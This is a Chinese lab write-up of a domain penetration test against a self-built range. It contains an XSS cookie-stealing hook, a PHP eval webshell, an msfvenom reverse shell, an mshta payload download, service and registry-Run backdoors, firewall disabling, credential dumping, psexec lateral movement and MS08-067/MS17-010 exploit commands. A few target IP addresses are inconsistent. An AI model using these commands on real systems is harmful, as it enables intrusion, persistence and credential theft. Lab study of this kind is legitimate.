记一次自建靶场域渗透过程

为方便您的阅读,可点击下方蓝色字体,进行跳转↓↓↓

  • 01 环境搭建
  • 02 外网突破
  • 03 权限提升并维持
    • (1)获取 meterpreter 会话
    • (2)尝试开启远程桌面
    • (3)Msf 派生 Cobalt Strike shell
    • (4)Cobalt Strike 制作 Powersehll 反弹 Shell
    • (5)后门程序植入
  • 04 横向移动
    • (1)Cobalt Strike 获得域控权限
    • (2)msf 内网利用
    • (3)持续内网攻击

01 环境搭建


自建靶场拓扑如下图所示:

在这里插入图片描述

具体主机配置信息如下表所示:

在这里插入图片描述
主机配置完成后,连通性测试满足以下三点:

1、Windows 7 能连通所有主机,但所有主机都不与 Windows 7 连通。

2、Windows Server 2003 和 Windows Server 2008 相互连通。

3、Windows 7 上用 phpStudy 开启 Web 服务后,浏览器访问 127.0.0.1 能访问到 PhpStudy 探针页面。


02 外网突破


Kali 攻击机上使用系统自带的 Nmap 进行目标开放端口探测,执行命令为 nmap -T4 -A 192.168.40.133,从执行扫描后的结果可以清楚得知目标服务器192.168.40.133 开放了 80 端口

在这里插入图片描述

访问 http://192.168.40.133/yxcms/页面,浏览网页相关消息,留言本模块中留言内容部分插入 xss 测试代码<script>alert(1)</script>

在这里插入图片描述


模拟管理员登入后台查看留言管理,发现出现弹框

在这里插入图片描述

确定网站存在存储型 XXS 后,计划利用 beef-xss 的 hook 功能模块获取后台管理员的cookie消息。首先Kali攻击机启动beef-xss,修改登录密码为jkxy@123

在这里插入图片描述

访问 beef-xss 的 web 管理界面:http://127.0.0.1:3000/ui/panel,使用账号密码 beef/jkxy@123 成功登录

在这里插入图片描述

使用 beef 平台生成的 hook 进行 XSS 攻击,在留言本中发布一个带 hook 的评论

在这里插入图片描述

模拟后台管理员进行内容审核操作

在这里插入图片描述

在 Kali 攻击机上登录 beef,这里可以看到被勾连的浏览器,我们获得了其登录的 URL 和 cookie

在这里插入图片描述
利 用 Burp Suite 代 理 工 具 , 抓 取 管 理 员 后 台 登 录 时 的 请 求 包 , 在Proxy—>Option—>Match and Replace 板块添加一个规则:^Cookie.*$,其中Cookie 填入 beef-xss 中获取的 cookie 消息,添加好后把 enabled 勾上,这样每次经过 burp 的请求都是固定的 cookie。

在这里插入图片描述

使用浏览器重新访问后台网站,发现直接登录后台管理页面

在这里插入图片描述
成功登录 CMS管理员后台后,找到模板编辑处,往 index_index.php 中,插入一句话:

<?php eval($_POST["jkxy"]);?>

在这里插入图片描述

中国蚁剑连接 http://192.168.239.202/yxcms/index.php,使用 ipconfig 命令进行虚拟终端功能测试,发现能成功返回 Windows 7 服务器 IP 地址192.168.40.133

在这里插入图片描述
测试中国蚁剑文件管理功能,发现成功回显 webshell 所在目录C:/phpStudy/WWW/yxcms/public,说明中国蚁剑成功连接 webshell

在这里插入图片描述
在这里插入图片描述
至此攻击者通过存储型XSS至getshell,成功获取边界Web服务器权限。


03 权限提升并维持


获得了 Windows 7 边界服务器的 webshell 后,利用该 webshell进行权限提升并维持操作。

(1)获取 meterpreter 会话

Kali 攻击机中利用 msfvenom 模块生成木马,执行命令 生成一个木马程序,同时 msf 开启监听模块

msfvenom -p Windows/meterpreter/reverse_tcp lhost=192.168.40.131 lport=6666 -f exe 
-o shell.exe

在这里插入图片描述
在这里插入图片描述
用蚁剑将木马上传至 Windows 7 中的C:/phpStudy/WWW/yxcms/public 目录

在这里插入图片描述
利用蚁剑虚拟终端进入 C:/phpStudy/WWW/yxcms/public 目录下执行木马

在这里插入图片描述
此时查看 msf 监听内容,发现返回 meterpreter 的shell,并利用 getsystem,成功提权到 system 权限

在这里插入图片描述

(2)尝试开启远程桌面

获取 meterpreter 会话并提权至 system 权限后,可以尝试使用命令开启远程桌面,维持控制

 run post/Windows/manage/enable_rdp

在这里插入图片描述
Kali 攻击机中使用命令 rdesktop 192.168.40.133 尝试远程连接服务器,成功进入远程登录界面

在这里插入图片描述
在这里插入图片描述

发现缺少登录账号,于是使用中国蚁剑添加用户,并将其加入管理员组,执行命令如下

net user jkxy mjxy@314159/add
net localgroup administrators jkxy /add
net user jkxy

在这里插入图片描述
使用新创建的用户 jkxy/mjxy@314159 进行远程桌面登录,用户登录成功,但系统提示:其他用户当前已登录到此计算机。如果继续,则该用户必须断开与此计算机的连接。是否继续。

在这里插入图片描述
模拟 Windows 7 用户查看桌面情况,发现系统提示:STu1yikxy 要连接到该计算机。请单击“确定”立即断开您的会话连接或单击“取消”保持连接状态。否则,您将在 30 秒后被断开。

在这里插入图片描述


(3)Msf 派生 Cobalt Strike shell

打开 Cobalt Strik,先打开服务端,执行命令./teamserver 192.168.40.131 jkxy@123 启动,其中第一个参数是地址,第二个参数是密码,地址是我们本机的地址,密码任意设置,这里为jkxy@123

在这里插入图片描述


接着输入命令启动客户端 Java -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar,密码就填刚刚的 jkxy@123

在这里插入图片描述
启动后的界面如下图所示:

在这里插入图片描述

进入该界面后首先需要创建一个 listener,点击左上角的 cobaltstrike->listeners,此时会在下方显示一个 listeners 窗口,点击add 添加新的 listener,而后点击 save 保存

在这里插入图片描述

退回到 msf 中,利用注入模块将 shell 派生到 Cobalt Strike 中

在这里插入图片描述
再次回到 Cobalt Strike中肉鸡便上线了
在这里插入图片描述
拿到 Cobalt Strikeshell 后,一般先将回显时间由默认的 60s 改成 1s,Cobalt Strike 的 shell,执行 Windows 的命令时,只需要在命令前加 shell 即可。


(4)Cobalt Strike 制作 Powersehll 反弹 Shell

添加一个用于接收 beacon 的 listener CobaltStrike_beacon,并制作木马,生成攻击链接。

在这里插入图片描述
在这里插入图片描述

这条链接就是用于执行本次攻击的链接,接着用蚁剑直接执行命令:
mshta http://192.168.40.133:80/download/file.ext

在这里插入图片描述


执行后,此时切换回 Kali 攻击机便能直观观察到肉鸡已经上线。

在这里插入图片描述

目前,我们已经用 Cobalt Strike 拿到了两个 Windows 7 的 shell,接着新建一个监听端口并选择其中一个 shell 进行漏洞提权。

在这里插入图片描述
在这里插入图片描述

稍等片刻后,发现提权成功

在这里插入图片描述

(5)后门程序植入

在渗透过程中拿到目标系统权限只是开始,如果管理员修复了漏洞,权限就丢失了,这时候要想持续在内网进行渗透就需要权限维持。接下来通过开机启动项和注册表进行进一步权限维持。计划通过 service 留自启动后门,生成一个 exe 后门。

首先创建一个监听 cs_back_door 专门用于后门程序的监听;

在这里插入图片描述


然后Cobalt Strike 中依次点击 Attacks->packages->Windows executable,点击genetrate 后保存即可

在这里插入图片描述

接着 Cobalt Strike 中右键 explore>file browser,选择我们想要的路径,这里以 C:\Windows 为例,把生成的 exe 程序上传到 Windows 7

在这里插入图片描述
然后如在 bean 中输入以下命令

shell sc create "server power" binpath= "C:\Windows\artifact.exe"(创建项及路径)
shell sc description "server power" "description"(设置服务的描述字符串)
shell sc config "server power" start= auto(设置服务为自启动)
shell net start "server power"(启动服务)

在这里插入图片描述
模拟 Windows 7 用户查看服务项,可以看到 server power 项

在这里插入图片描述
可见这个 exe 是设置有效的,接下来重启目标机器

在这里插入图片描述
机器重启完毕之后,Cobalt Strike 又自动获取了控制权,持续时间最短的那个就是重启后自动获得的

在这里插入图片描述
除此之外,也可以直接向注册表写开机启动项,同样是上一步生成的木马程序在 bean 中输入命令

shell reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "keyname" /t REG_SZ /d 
42
"C:\Windows\artifact.exe" /f

执行命令成功界面如图所示

在这里插入图片描述
切换到靶机,打开注册表 regedit.exe,在对应的路径下找到了该项,那么也就是说我们已经成功写入注册表的自启动项了

在这里插入图片描述

04 横向移动

(1)Cobalt Strike 获得域控权限

进行权限维持之后,我们开始进行内网的横向移动。首先我们发现防火墙开启,而后利用命令关闭防火墙,命令如下:

shell netsh firewall show state;
shell netsh advfirewall set allprofiles state off

是命令成功执行界面如下图所示:

在这里插入图片描述
接着使用命令 net view 获取域内目标

在这里插入图片描述


切换到 Targets 模块中查看局域网内的情况。可以看到目标中,name 分三块:STU1 也就是我们已获得权限的 Windows 7 边界服务器,域内还有两台 OWA 和 ROOT-TVI862UBEH
![在这里插入图片描述](https://img-blog.csdnimg.cn/5870d00d611b4eb29ccbcc47975fe2ce.png#pic_center) 了解域内大概情况后,先利用 Cobalt Strike 的 beacon 使用 hashdump 命令抓取 Windows 7 中的密码

在这里插入图片描述

接着使用 logonpasswords 查看明文消息,

在这里插入图片描述

执行完后,查看凭证,发现域控用户 Administrator 的密码为44jkxy@3.14159,如图 。

在这里插入图片描述
明确域控管理员账号后,尝试对域控进行攻击。首先增加一个 smb listener

在这里插入图片描述

在 target 列表中选择 name 为 OWA 的主机,右键 jump->psexec

在这里插入图片描述

填入用户名密码,选择刚刚创建的 Listener,选择 System 的那个 Session

在这里插入图片描述

点击 Lauch成功拿到域控权限,如图。

在这里插入图片描述
使用同样的方式攻击另一台域内主机,Listener 选择 smb_2,Session 选则刚拿到的域控会话

在这里插入图片描述

攻击后目标主机成功上线,现拿到三台 sysytem 权限服务器

在这里插入图片描述

(2)msf 内网利用

在 Cobalt Strike 中获取三台主机权限后,利用隧道把 msf 代理到内网利用,尝试继续内网横向渗透。


首先在 beacon shell 中输入 socks 1234,1234 为端口,我们可以随意设置,只要不冲突就行

在这里插入图片描述

接着点击 Cobalt Strike 菜单上的 view->proxy pivots

在这里插入图片描述


可以看到代理的情况,然后点击下方的tunnel,会出现一条命令

在这里插入图片描述
Kali 攻击机上启动 msf,把上一步复制的命令粘贴进来,这样就把 msf 代理到内网中去了,接下来就可以使用 msf 继续对内网中的机器进行渗透

在这里插入图片描述

在 meterpreter 中使用 run get_local_subnets 查看本地路由消息发现存在192.168.40.0 段和 192.168.52.0 段,其中 40 为公网网段、52 为内网网段。

在这里插入图片描述

接着使用命令 run autoroute -s 192.168.52.0/24 添加路由,使得 MSF 能够通过 Windows 7 路由转发访问 192.168.52.0 网段。在 meterpreter中使用 run post/Windows/gather/arp_scanner Rhost 192.168.52.0/24 扫描 52网段,发现同网段内仅有三台主机,且为 Cobalt Strike 拿下的三台 system 权限主机。

在这里插入图片描述

(3)持续内网攻击

继续使用 msf 进行内网渗透测试,还发现以下可利用漏洞模块部分

1、MS08-067

使用 MS08-067 攻击模块攻击内网主机,Kali 攻击机中执行命令如下:

msfconsole
setg proxies socks4: 127.0.0.1:1234
use Windows/smb/ms08_067_netapi
set rhost 192.168.52.141
set lport 4444
run

发现 192.168.52.141 主机存在该漏洞,成功利用该漏洞获取目标系统权限

在这里插入图片描述



2、RPC DCOM 服务漏洞

使用 RPC DCOM 攻击模块攻击内网主机,Kali 攻击机中执行命令如下:

msfconsole
setg proxies socks4: 127.0.0.1:1234
use Windows/dcerpc/ms03_026_dcom
set rhost 192.168.52.141
set lport 135
set payload Windows/meterpreter/bind_tcp
run

发现 192.168.52.141 主机存在该漏洞,成功利用该漏洞获取目标系统权限

在这里插入图片描述


(3)MS17-010

使用 MS17-010 攻击模块攻击内网主机,Kali 攻击机中执行命令如下:

msfconsole
setg proxies socks4: 127.0.0.1:1234
exploit/Windows/smb/ms17_010_eternalblue
set payload Windows/x64/meterpreter/bind_tcp
set RHOST 192.168.40.141
run

发现 192.168.52.141 主机存在该漏洞,成功利用该漏洞使目标主机蓝屏

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/34580.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

JumpServer开源堡垒机安装配置

JumpServer开源堡垒机安装与配置 一、简介二、下载与安装2.1、下载2.2、安装2.3、其他 一、简介 JumpServer 堡垒机帮助企业以更安全的方式管控和登录各种类型的资产。 支持 官网地址&#xff1a;https://www.jumpserver.org/index.html JumpServer 采用分层架构&#xff0c;…

Jenkins构建Python项目提示:‘python‘ 不是内部或外部命令,也不是可运行的程序

一、问题描述&#xff08;1&#xff09; 今天Darren洋在jenkins里构建与飞书机器人通知时&#xff0c;用python编写脚本时发现了以下报错&#xff1a;Jenkins构建Python项目提示&#xff1a;‘python‘ 不是内部或外部命令&#xff0c;也不是可运行的程序 二、解决办法 在配置…

【Spark实战】Windows环境下编译Spark2 Linux上部署Spark On Yarn

Windows环境下编译Spark2 环境准备 git-2.14.1maven-3.9.2jdk-1.8scala-2.11.8zinc-0.3.15 主下载地址spark-2.3.4 github官方地址 编译准备 maven远程仓库使用的是阿里云的 解压源码包spark-2.3.4.zip,修改根模块的pom文件。主要目的是为了变更hadoop的版本号&#xff0c;…

在 TypeScript 中有效地使用 keyof 和 typeof 来表示类型

在本文中&#xff0c;我们将学习如何通过组合类型运算符和枚举来提取和声明常量类型typeof&#xff0c;以使您的代码库得到优化。keyof 先决条件 为了获得更好的编码体验&#xff0c;您应该在 IDE 中安装 TypeScript&#xff0c;例如VSCode。它将为您提供许多基本功能&#xff…

【论文导读】- Variational Graph Recurrent Neural Networks(VGRNN)

文章目录 文章信息摘要BackgroundGraph convolutional recurrent networks (GCRN)Semi-implicit variational inference (SIVI) Variational graph recurrent neural network (VGRNN)VGRNN modelSemi-implicit VGRNN (SI-VGRNN) 文章信息 Variational Graph Recurrent Neural …

STM32 串口代码配置

一、首先开发板上关于串口1的引脚配置已经配置好了&#xff0c;位置在SYSTEM的 usart.c 文件中&#xff08;注意&#xff1a;只配置了串口1的&#xff0c;其他使用时需要自己配置&#xff09; 重要的是明白配置的参数都是什么意思&#xff0c;针对实现不同的串口功能有什么影响…

选择高考志愿:聚焦计算机科学与技术,规避土木工程

选择高考志愿&#xff1a;聚焦计算机科学与技术&#xff0c;规避土木工程 高考季已至&#xff0c;各地高考成绩陆续公布&#xff0c;许多毕业生和家长开始面临疑惑&#xff1a;如何填报志愿、选专业还是选学校、什么专业好就业&#xff1f;张雪峰曾提到&#xff1a;“普通家庭…

从零开始 Spring Boot 60:一个实体映射到多个表

从零开始 Spring Boot 60&#xff1a;一个实体映射到多个表 图源&#xff1a;简书 (jianshu.com) 在之前的文章中我们讨论了 JPA 中的一对一关系&#xff0c;实际上存在一种特殊的一对一关系&#xff0c;即将一个实体映射到多张表&#xff0c;本文会讨论这种关系。 我之前提过…

如何将采购报价请求流程自动化?

在当今快节奏的商业环境中&#xff0c;效率和速度是保持竞争力的关键。在采购管理中&#xff0c;企业经常为简化操作而努力的一个领域是报价请求过程。手动处理请求、与供应商沟通并跟踪答复&#xff0c;可能非常耗时且容易出错。 然而&#xff0c;随着像8Manage SRM等专业电子…

Excelize 是 Go 语言编写的用于操作 Office Excel 文档基础库

介绍 Excelize 是 Go 语言编写的用于操作 Office Excel 文档基础库&#xff0c;基于 ECMA-376&#xff0c;ISO/IEC 29500 国际标准。可以使用它来读取、写入由 Microsoft Excel™ 2007 及以上版本创建的电子表格文档。支持 XLAM / XLSM / XLSX / XLTM / XLTX 等多种文档格式&a…

Git下载与安装(windows)

文章目录 Git 简介Git 下载Git 安装Git 环境变量配置 Git 简介 Git 是一种分布式版本控制系统&#xff0c;用于快速、高效地处理任何大小规模的项目。它是由 Linus Torvalds 在 2005 年开始开发的&#xff0c;Git 最初是为了管理 Linux 内核源代码而创建的。现在 Git 是一个广…

Spring 是什么框架?

对于一门技术&#xff0c;我们需要从为什么要学、学什么以及怎么学这三个方向入手来学习。那在说Spring这三点之前&#xff0c;我们先看Spring之前要学什么。 Java基础、Java语法进阶、MySQL基础操作、MySQL数据库设计和多表操作、JDBC、Maven基础、MyBatis、HMLCSS、JavaScrip…

PCA主成分分析

PCA降维算法 目前图像特征的提取主要有两种方法&#xff1a;传统图像特征提取方法 和 深度学习方法。 传统的特征提取方法&#xff1a;基于图像本身的特征进行提取&#xff08;PCA&#xff09;&#xff1b;深度学习方法&#xff1a;基于样本自动训练出区分图像的特征分类器&a…

SpringBoot--超时熔断器

需求背景 如果一个服务中有很多涉及需要服务间熔断的地方&#xff0c;就会出现N多下述代码&#xff1a; 1.N个fegnClient接口 FeignClient(name "hello-world-service", fallback HelloWorldFallback.class) public interface HelloWorldService {GetMapping(&q…

Python 学习之NumPy(一)

文章目录 1.为什么要学习NumPy2.NumPy的数组变换以及索引访问3.NumPy筛选使用介绍筛选出上面nb数组中能被3整除的所有数筛选出数组中小于9的所有数提取出数组中所有的奇数数组中所有的奇数替换为-1二维数组交换2列生成数值5—10&#xff0c;shape 为(3,5)的二维随机浮点数 NumP…

Apache Doris (十七) :Doris分区和分桶3-分桶及建议

​​​目录 一、分桶Bucket ​​​​​​​二、分区和分桶数量和数据量的建议 进入正文之前&#xff0c;欢迎订阅专题、对博文点赞、评论、收藏&#xff0c;关注IT贫道&#xff0c;获取高质量博客内容&#xff01; 一、分桶Bucket Doris数据表存储中&#xff0c;如果有分区&…

使用docker搭建mysql集群

一、技术架构 1、架构图 2、解说 mysql_1、mysql_2、mysql_3是一组主从模式,同理mysql_4、mysql_5、mysql_6也是一组主从模式从上面的图可以看出mysql_1和mysql_4是主节点,可以进行增删改查操作,但是子几点只能查询操作如果mysql_1节点出现问题了&#xff0c;有mysql_4节点组…

SDK和API是什么?SDK和API的区别与联系

目录 &#x1f48c; SDK和API是什么&#xff1f; SDK API &#x1f48c; SDK和API的区别 &#x1f48c; 该如何选择 API 和 SDK 对接&#xff1f; &#x1f48c; SDK和API是什么&#xff1f; SDK SDK的概念&#xff1a;软件开发工具包&#xff08;全称&#xff1a;Softwa…

黑盟菜鸟剪辑短视频助手是什么

今天我们来讲一下视频综合处理功能&#xff0c;首先我们来打开软件主界面&#xff0c;通过模块化功能合集视频综合处理进入我们的这个功能。首先我们来看一下功能的布局&#xff0c;左边是导入视频的地方&#xff0c;右边是功能区&#xff0c;这里总共包括 32 种功能&#xff0…

计算机基础--->数据结构(6)【AVL树(平衡二叉树)】

文章目录 AVL&#xff08;平衡二叉树&#xff09;树性质AVL树的操作&#xff08;Java&#xff09;节点的创建AVL树的插入1.判断平衡2.保持树的平衡3.判断是否AVL树4.删除节点 全部代码 AVL&#xff08;平衡二叉树&#xff09;树 平衡二叉树是一种特殊的二叉搜索树&#xff0c;他…